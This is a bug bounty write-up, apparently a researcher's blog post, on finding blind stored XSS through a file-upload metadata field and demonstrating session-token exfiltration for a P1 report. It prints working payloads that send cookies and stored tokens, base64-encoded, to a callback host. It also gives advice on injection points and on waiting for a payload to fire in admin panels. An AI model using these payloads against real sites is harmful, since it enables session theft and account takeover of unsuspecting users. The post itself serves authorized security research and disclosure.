There’s a reason blind stored XSS is underrated in the bug bounty community — it requires patience, and patience doesn’t trend on social media. But if you’re willing to wait, it’s one of the most impactful vulnerability classes you can hunt. This is the methodology behind my first non-duplicate P1, a stored XSS that led to full session token exfiltration, earning a $6,000 bounty.
What Is Blind Stored XSS?
Regular reflected XSS fires immediately in your own browser. Stored XSS persists server-side and fires when someone else views the content. Blind stored XSS takes it a step further — you never see your payload execute directly. It fires silently in another user’s authenticated browser session, often on an internal dashboard, admin panel, or downstream service you don’t even have access to.
That’s what makes it powerful. And tricky.
Finding the Injection Point
The best injection points for blind stored XSS are user-controlled inputs that get reviewed, processed, or rendered by someone on the other end:
- File upload captions / metadata fields
- Support ticket titles and descriptions
- Form fields that feed into internal dashboards
- Chat messages in customer support widgets
- Any input tied to a workflow that involves human review
The field I found this in wasn’t a text editor or obvious rich-text input — it was a relatively obscure metadata field on a file upload. The application was accepting and rendering the value without sanitization. Exactly the kind of thing that gets missed in a security review.
Start by asking: Where does this input go after I submit it?
Building the Exfiltration Payload
You need a callback server to receive exfiltrated data. I run a custom VPS with a purchased domain — access is locked down, log files are restricted, and the PHP callback scripts are not publicly browsable. That setup gives me full control over what gets logged and how long it’s retained.
Burp Collaborator is a valid alternative and works fine for capturing callbacks during testing. However, I don’t use it as my primary setup for one specific reason: triagers and security teams will often ask for assistance during the review and validation phase. Collaborator URLs are ephemeral — once the session expires, that callback URL is gone. With your own infrastructure, you keep the same URL active indefinitely, pull historical logs on demand, and can assist the triage team in real time without scrambling to reproduce anything.
Use structured identifiers in your callback URLs to keep engagements organized:
https://yourcallback.io/cb/?c=target-engagementid&d=...
When a hit comes in two days after injection, you’ll know exactly which target and engagement it belongs to at a glance.
A basic cookie exfil payload:
<iframe src="javascript:fetch('https://yourcallback.io/cb/?c=test&d='+btoa(document.cookie))">
For broader coverage, grab cookies and storage:
<img src=x onerror="
var d=btoa(document.cookie+'|||'+localStorage.getItem('token')+'|||'+sessionStorage.getItem('session'));
fetch('https://yourcallback.io/cb/?c=exfil&d='+d)
">
The btoa() base64-encodes the data so it survives URL transport cleanly. Your callback server receives the GET request, and you decode it on the other end.
Important: Test your payload in isolation first. Confirm it executes and that your callback server receives the hit before you inject it anywhere.
Injection and Waiting
Once injected, the payload sits server-side until something — or someone — triggers it.
After my initial injection, the first callback I received came from an unexpected origin: an S3 bucket domain. The JavaScript had executed, but in the context of a file preview service rather than the authenticated application. Cookies came back null. That’s not a failure — that’s a signal.
What it told me:
- The payload was executing (JavaScript worked, callback fired)
- The content was being routed through a file storage/preview layer
- The actual auth tokens would only appear when someone viewed it in the main authenticated application
So I waited.
Hours later, I got a second callback — this time from the target application itself. The decoded base64 came back with a live session token and supporting cookies from an authenticated user session.
The lesson: Inject once, then give the payload time to propagate. Downstream services — admin panels, review queues, internal dashboards — each represent a different opportunity. The deeper it travels, the more privileged the context it might fire in.
Extracting and Demonstrating Impact
When your callback fires with real data, decode it immediately:
echo "base64stringhere==" | base64 -d
In my case I recovered:
- A JWT auth token — included issuer, subject identifiers, application context, and expiration
- Session cookies — bound to the authenticated user’s active session
- Account identifiers embedded in cookie data that pointed to additional IDOR surface
For the report, demonstrate impact concretely — but know when to stop. In my case, this fired on a live production environment. I had already received a valid session token with clear authentication context. That was sufficient proof. I did not replay the token against the application.
You don’t need to cause damage to prove impact. A decoded JWT with a recognizable issuer, subject identifiers, and expiration timestamp speaks for itself. A session cookie tied to an authenticated user on a production domain speaks for itself. Annotate what the token contains and what it would allow — let the triager connect the final dot. That’s what turns a stored XSS from a P3 into a P1, and it keeps you on the right side of responsible disclosure.
Reporting It
A few things I learned from this submission:
Wait before you send your triage response. After initial contact with the triage team, I caught myself wanting to send a follow-up immediately. I waited an hour, reviewed everything again, and caught details I would have missed. That saved a full round of back-and-forth. One clean, well-documented submission beats three rushed follow-ups every time.
Show the full chain. Stored XSS alone is a P3 in most programs. Session exfiltration with a working PoC is a P1. The difference is whether you demonstrate the complete impact — don’t leave it to the triager to imagine.
Document your callback logs. Timestamps, IPs, user agents, and the decoded payload data are all evidence. Attach them. A triager shouldn’t have to take your word for it.
Pros and Cons of This Technique
Pros:
- Fires in privileged contexts you’d never have direct access to
- Extremely high impact when it lands in an admin or internal tool
- Often overlooked — developers focus on user-facing inputs, not metadata fields
- One injection can propagate through multiple downstream services over time
Cons:
- You’re flying blind — no immediate feedback on whether the payload executes
- Timing is unpredictable; you may wait hours or days
- Context-dependent — if cookies are
HttpOnlyorSameSite: Strict, exfil may be limited - Requires reliable callback infrastructure and logging
Why I’m Writing This
Blind stored XSS is genuinely underrated. I’m posting this in hopes it helps security professionals identify this class of vulnerability in their own systems — and helps bug hunters understand how to properly demonstrate impact when they find it. These aren’t just theoretical bugs. They’re account takeovers waiting to happen in production.
First P1. $6,000. 40 points. Well worth the wait.
Garrett Kohlrusch is a security researcher and penetration tester at GK Data LLC. All research is conducted on authorized programs through established bug bounty platforms.